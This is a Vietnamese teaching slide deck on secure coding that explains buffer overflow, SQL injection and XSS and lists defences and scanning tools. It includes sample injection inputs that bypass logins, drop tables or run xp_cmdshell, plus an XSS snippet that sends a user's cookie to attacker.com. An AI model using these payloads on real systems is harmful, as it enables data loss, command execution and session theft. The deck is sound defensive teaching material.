37
ĐẢM BẢO AN TOÀN MÃ NGUỒN Nhóm thực hiện: B2

Đảm bảo an toàn mã nguồn

Embed Size (px)

DESCRIPTION

Đảm bảo an toàn mã nguồn. Nhóm thực hiện : B2. Lý do cần đảm bảo an toàn mã nguồn. Đảm bảo chương trình thực thi đúng và đẩy đủ các chức năng yêu cầu. Hạn chế tối đa các truy cập không mong muốn từ bên ngoài, nhằm tránh thất thoát dữ liệu quan trong của người dùng. - PowerPoint PPT Presentation

Citation preview

Page 1: Đảm bảo an toàn mã nguồn

ĐẢM BẢO AN TOÀNMÃ NGUỒN

Nhóm thực hiện: B2

Page 2: Đảm bảo an toàn mã nguồn

LÝ DO CẦN ĐẢM BẢO AN TOÀN MÃ NGUỒN Đảm bảo chương trình thực thi đúng và đẩy

đủ các chức năng yêu cầu. Hạn chế tối đa các truy cập không mong

muốn từ bên ngoài, nhằm tránh thất thoát dữ liệu quan trong của người dùng.

Giảm chi phí cho việc phải khắc phục những hậu quả từ các cuộc tấn công đánh vào khâu bảo mật của ứng dụng. Những hậu quả thường rất nghiêm trọng, tốn thời

gian và chi phí để khắc phục. Đảm bảo tính toán vẹn cho toàn bộ ứng dụng.

Chạy ổn định, đúng yêu cầu, …

Page 3: Đảm bảo an toàn mã nguồn

CÁC DẠNG TẤN CÔNG THƯỜNG GẶP

Buffer overflow SQL Injection XSS (Cross Site Scripting) CRSS (Cross Site Request Forgery) Session fixation Session poisoning

Page 4: Đảm bảo an toàn mã nguồn

BUFFER OVERFLOW

Tổng quan Buffer Overflow

Hướng tấn công Stack Overflow

Hướng tấn công Heap Overflow

Một số cách phòng tránh

Page 5: Đảm bảo an toàn mã nguồn

TỔNG QUAN BUFFER OVERFLOW - 1

Bộ đệm (BUFFER) hay bộ nhớ đệm là vùng nhớ tạm trong khi chờ đến lượt vì CPU và các thiết bị khác không làm việc cùng tốc độ, HĐH thì xử lý các tiến trình có chia thời gian. Do đó cần có bộ đệm để chứa tạm thời. Bộ đệm hoạt động theo cơ chế FIFO.

Tràn bộ đệm (Buffer Overflow): là sự bất thường xuất hiện trong chương trình khi việc khi dữ liệu đến buffer vượt ngoài ranh giới của buffer, dẫn đến ghi đè lên bộ nhớ liền kề. Dữ liệu bị ghi đè có thể bao gồm các bộ nhớ đệm

khác, các biến và dữ liệu điều khiển luồng chạy của chương trình (program flow control).

Dựa vào việc ghi đè này để tấn công hệ thống !

Page 6: Đảm bảo an toàn mã nguồn

TỔNG QUAN BUFFER OVERFLOW - 2

Khi chương trình bị buffer overflow, các trường hợp sau có thể xảy ra: Chương trình vẫn tiếp tục làm việc nhưng theo một

hướng không mong muốn của lập trình viên. (hướng nguy hiểm)

Chương trình thoát ngay lập tức và thông báo lỗi. Những ngôn ngữ lập trình làm việc thường

xuyên với buffer như C, C++ không cung cấp cơ chế bảo vệ việc truy xuất hay ghi đè dữ liệu và không tự động kiểm tra dữ liệu được viết đến mảng có thuộc phạm vi của mảng hay không ? Sử dụng “bounds checking” có thể ngăn chặn được buffer overflow.

Page 7: Đảm bảo an toàn mã nguồn

MỘT SỐ HÀM TRONG C,C++ CÓ THỂ GÂY BUFFER OVERFLOW

Tham khảo: Buffer Overflow Exploits - Dick Steflik

Page 8: Đảm bảo an toàn mã nguồn

VÍ DỤ BUFFER OVERFLOW

Một chương trình có 2 phần tử dữ liệu kề nhau: A là bộ nhớ đệm xâu kí tự có độ dài 8 byte. Kí tự kích

thước 1 byte. B là số nguyên kích thước 2 byte có chứa giá trị 3.

Chương tình ghi dữ liệu cho buffer A xâu có giá trị “excessive”. Do không kiểm tra độ dài chuỗi trước khi ghi nên biến B đã bị ghi đè, thay đổi giá trị B:

Page 9: Đảm bảo an toàn mã nguồn

HƯỚNG TẤN CÔNG STACK OVERFLOW

Việc khai thác lỗ hổng stack buffer overflow được thực hiện qua những cách sau: Ghi đè biến local gần buffer trên stack để thay đổi

hành vi của chương trình theo chủ ý của kẻ tấn công. Thay đổi địa chỉ trả về trong stack frame. Khi hàm trả

về, việc thực thi sẽ tiếp tục ở địa chỉ trả về được chỉ định bởi kẻ tấn công.

Ghi đè con trỏ hàm, thay đổi luồng xử lý có lợi cho kẻ tấn công.

Ví dụ:

Page 10: Đảm bảo an toàn mã nguồn

VÍ DỤ LỔ HỔNG STACK BUFFER OVERFLOW

Có đoạn chương trình sau:#include <string.h>void foo (char *bar) {

char c[12]; strcpy(c, bar); // không kiểm tra giới hạn chuỗi bar

} int main (int argc, char **argv) {

foo(argv[1]);

} Nếu argv[1] nhiều hơn 11 kí tự ???

Page 11: Đảm bảo an toàn mã nguồn

VÍ DỤ LỔ HỔNG STACK OVERFLOW

Minh họa chương trình với nhiều dữ liệu nhập khác nhau:

Trường hợp C: ghi đè lên biến bar trên stack, frame pointer và quan trọng là cả địa chỉ trả về (chỉ định đến 1 địa chỉ không mong đợi).

Page 12: Đảm bảo an toàn mã nguồn

HƯỚNG TẤN CÔNG HEAP OVERFLOW

Là một loại buffer overflow xảy ra trong khu vực heap.

Vùng nhớ trên heap được cấp phát động bởi ứng dụng tại thời điểm run-time và thường chứa dữ liệu chương trình.

Việc khai thác được thực hiện bằng việc làm hư hỏng dữ liệu lưu trên heap theo những cách khác nhau nhằm ghi đè lên cấu trúc nội bộ của ứng dụng (danh sách liên kết).

Hướng cổ điển: ghi đè các liên kết cấp phát động và sử dụng con trỏ kết quả ghi đè lên con trỏ hàm của chương trình

Page 13: Đảm bảo an toàn mã nguồn

MỘT SỐ CÁCH PHÒNG TRÁNH Sử dụng ngôn ngữ lập trình an toàn (java, .NET) Luôn sử dụng kiểm tra giới hạn khi viết chương trình. Xem xét lại tính bảo mật của mã nguồn các phần mềm

kế thừa. Tránh sử dụng các hàm không cung cấp kiểm tra giới

hạn trong ngôn ngữ C, thay vào đó là các hàm tương đương. Thay các hàm gets, strcpy, strcat, sprintf, scanf, sscanf bằng các hàm tương đương fgets, strncpy, strncat, bcopy, bzero, memcpy.

Sử dụng các vùng nhớ được cấp phát động. Sử dụng các tiện ích như StackGuard, StackShield để

bảo vệ vùng bộ nhớ stack khỏi tràn bộ đệm. Sử dụng các công cụ và hướng dẫn để đánh giá mức độ

an toàn của chương trình như Slint, rats, its, flawfinder. Cài đặt ngay các bản sửa lỗi.

Page 14: Đảm bảo an toàn mã nguồn

SQL INJECTION

Định nghĩa

Một số dạng lỗi

Các dạng tấn công trên ứng dụng Web

Cách phòng tránh

Page 15: Đảm bảo an toàn mã nguồn

SQL INJECTION LÀ GÌ ?

SQL injection là một kĩ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm“ (inject) và thi hành các câu lệnh SQL bất hợp pháp.

Nếu lỗ hổng này được khai thác sẽ dẫn đến hậu quả nghiêm trọng cho ứng dụng (mất dữ liệu, mất quyền kiểm soát, …).

Lỗi này xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase.

Page 16: Đảm bảo an toàn mã nguồn

MỘT SỐ DẠNG DẠNG LỖI

Xử lý không đúng kiểu Không kiểm tra kí tự thoát truy vấn Lỗi bảo mật bên trong máy chủ cơ sở

dữ liệu

Page 17: Đảm bảo an toàn mã nguồn

KHÔNG KIỂM TRA KÍ TỰ THOÁT TRUY VẤN

Dạng lỗi này xảy ra khi thiếu đoạn mã xử lý dữ liệu đầu vào trong câu truy vấn SQL.

Kết quả là kẻ tấn công có thể thực hiện một số truy vấn không mong đợi.

Ví dụ 1: Có câu lệnh lấy về những user có name chỉ định:String query = “SELECT * FROM users WHERE name = ‘ “+

userName + “’;” Giá trị biến userName được nhập từ người dùng. Điều gì xảy ra

nếu người dùng nhập giá trị là: x’ or ‘t’ = ‘t ‘ or 1=1-- …

Khi đó câu truy vấn thực thi sẽ là:SELECT * FROM users WHERE name = ‘x’ or ‘t’ = ‘t’SELECT * FROM users WHERE name = ‘’ or 1=1 --’

Điều kiện Where luôn đúng. Kết quả trả về tất cả các user hiện có trong database.

Page 18: Đảm bảo an toàn mã nguồn

KHÔNG KIỂM TRA KÍ TỰ THOÁT TRUY VẤN

Ví dụ 2: Cũng có câu lệnh lấy về những user có name chỉ

định:String query = “SELECT * FROM users WHERE name

= ‘ “+ userName + “’;” Điều gì xảy ra nếu người dùng nhập giá trị là:

x';DROP TABLE users; SELECT * FROM data WHERE 't' = 't Khi đó câu truy vấn thực thi sẽ là:

SELECT * FROM users WHERE name = ‘x’; DROP TABLE users; SELECT * FROM data WHERE 't' = 't’

Thực hiện một loạt các truy vấn không mong đợi.

Page 19: Đảm bảo an toàn mã nguồn

XỬ LÝ KHÔNG ĐÚNG KIỂU

Xảy ra khi người dùng nhập vào kiểu dữ liệu không đúng và không có phương thức kiểm tra để lọc kiểu dữ liệu.

Ví dụ: với một trường dữ liệu là số được sử dụng trong câu lệnh SQL và lập trình viên không xử lý để kiểm tra dữ liệu nhập vào có phải kiểm số hay không ?String query = “SELECT * FROM data WHERE id = ” + iMa +”;” Biến iMa mong đợi là kiểu INT ứng với trường id. Điều gì xảy ra nếu người dùng nhập vào là:

1;DROP TABLE users Câu lệnh SQL thực thi là: SELECT * FROM data WHERE id =1;DROP TABLE users Xóa bảng users (!)

Page 20: Đảm bảo an toàn mã nguồn

CÁC DẠNG TẤN CÔNG TRÊN ỨNG DỤNG WEB

SQL INJECTIO

N

Vượt qua lúc đăng

nhập

Sử dụng lệnh

SELECT

Sử dụngStored

procedures

Sử dụng lệnh

INSERT

Page 21: Đảm bảo an toàn mã nguồn

VƯỢT QUA LÚC ĐĂNG NHẬP

Chuỗi truy vấn để kiểm tra đăng nhập của người dùng:

String query = “SELECT * FROM users WHERE username=‘” + txt_UserName + “’ AND password =‘” + txt_Pass + “’;”;

Kẻ tấn công điền vào username và password đều là: ‘ OR ‘ ‘ = ‘ ‘

SELECT * FROM users WHERE username=‘’OR ‘ ’=‘ ‘ AND password=‘’ OR ‘ ‘=‘ ‘;

Hiển nhiên đăng nhập thành công !

Page 22: Đảm bảo an toàn mã nguồn

SỬ DỤNG LỆNH SELECT

 Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công.

Các website có chức năng tìm kiếm rất dễ bị tấn công bởi dạng này.

Ví dụ: thay vì nhập từ khóa tìm kiếm kẻ tấn công tiêm vào đoạn mã sau:

' DROP TABLE users-- Xóa bảng users.

Page 23: Đảm bảo an toàn mã nguồn

SỬ DỤNG LỆNH INSERT

 Xét câu lệnh INSERT:INSERT INTO TableName VALUES(‘Value1’, ‘Value2’, ‘Value3’)

Code xây dựng câu lệnh:String query = “INSERT INTO TableName

VALUES(‘“ + strValue1 & “ ‘, ‘ “ + strValue3 & “ ‘, ‘ “ + strValue3 + “ ') “

Khai thác lỗi này bằng cách nhập vào trường thứ nhất giá trị: ' + (SELECT TOP 1 FieldName FROM TableName) + ‘

Ngoài việc thực hiện câu lệnh INSERT còn thực hiện thêm câu lệnh SELECT.

Page 24: Đảm bảo an toàn mã nguồn

SỬ DỤNG STORED-PROCEDURES

 Rất nguy hiểm nếu được thực thi dưới quyền quản trị hệ thống ‘sa’.

Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: ' ; EXEC xp_cmdshell ‘cmd.exe dir C: ' Liệt kê các thư mục ổ C trên Server Có thể thay thế lệnh thực hiện bằng lệnh khác

(thay thế lệnh dir C: ).

Page 25: Đảm bảo an toàn mã nguồn

CÁCH PHÒNG TRÁNH SQL INJECTION

Kiểm soát chặt chẽ dữ liệu nhập vào Giới hạn chiều dài chuỗi nhập liệu và định nghĩa

giá trị nhập vào. Thay thế các kí tự nháy đơn (‘) bằng nháy kép (“) Kiểm tra đúng kiểu dữ liệu nhập trước khi thực thi

xuống cơ sở dữ liệu. Loại bỏ những kí tự và từ khóa nguy hiểm: ;, --,

select, insert, xp_, khoảng trắng, … ra khỏi dữ liệu nhập.

Page 26: Đảm bảo an toàn mã nguồn

CÁCH PHÒNG TRÁNH SQL INJECTION

Tham số hóa các câu lệnh truy vấnJava:

.Net:

Sử dụng các thư viện kết nối  ORM (object-

relational mapping) để tránh phải viết code liên quan đến kết nối SQL.

Thiết lập cấu hình an toàn cho hệ QTCSDL, hạn chế phân phối quyền.

Page 27: Đảm bảo an toàn mã nguồn

XSS (CROSS SITE SCRIPTING)

Một số định nghĩa

Một số hướng khai thác lỗi

Cách phòng tránh

Page 28: Đảm bảo an toàn mã nguồn

ĐỊNH NGHĨA

Cross-Site Scripting (gọi tắt là XSS) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, JSP ...) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác.

Những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML.

Kĩ thuật tấn công XSS đã nhanh chóng trở thành một trong những lỗi phổ biến nhất của Web Applications và mối đe doạ của chúng đối với người sử dụng ngày càng lớn.

Hậu quả: ăn cắp thông tin người dùng, chiếm quyền điều khiển,…

Page 29: Đảm bảo an toàn mã nguồn

KHAI THÁC LỖI XSS - 1

Nguyên tắc hoạt động: gởi các yêu cầu từ client tới sever nhằm chèn các thông tin vượt qua tầm kiểm soát của server.

Điều kiện để có thể khai thác được XSS: Web App chấp nhập input từ người dùng Nội dung input tạo ra nội dung “động”. Nội dung input này không được kiểm tra đúng

cách.

Page 30: Đảm bảo an toàn mã nguồn

KHAI THÁC LỖI XSS - 2

Page 31: Đảm bảo an toàn mã nguồn

KHAI THÁC LỖI XSS - 3

Ví dụ lấy cookie khi đọc mail:<form action="http://attacker.com/save.asp" method="post" name="XSS">

<input type="hidden" name="cookie"> </form> <img border="0" onmouseover="window.document.XSS.cookie.value = document.cookie; window.document.XSS.submit();" src="none.jpg“ />

Page 32: Đảm bảo an toàn mã nguồn

MỘT SỐ CÁCH NGĂN NGỪA XSS

Phía người lập trình: Có cơ chế thanh lọc dữ liệu người dùng, hạn chế

cho phép người dùng cho vào những tag HTML, những đoạn mã javascript, …

Mã hóa dữ liệu nhập. Thường xuyên kiểm tra, scan tự động những lổ

hổng XSS bằng các công cụ: N-Stealth hay AppScan.

Phía người dùng: Cẩn thận với những đường link lạ

Page 33: Đảm bảo an toàn mã nguồn

CRSS (CROSS SITE REQUEST FORGERY)

Page 34: Đảm bảo an toàn mã nguồn

SESSION FIXATION

Page 35: Đảm bảo an toàn mã nguồn

SESSION POISONING

Page 36: Đảm bảo an toàn mã nguồn

CÔNG CỤ HỔ TRỢ

Yasca CPP check IBM Rational AppScan

Page 37: Đảm bảo an toàn mã nguồn

YASCA

Giới thiệu chung công cụ Yasca Hướng dẫn download và cài đặt Demo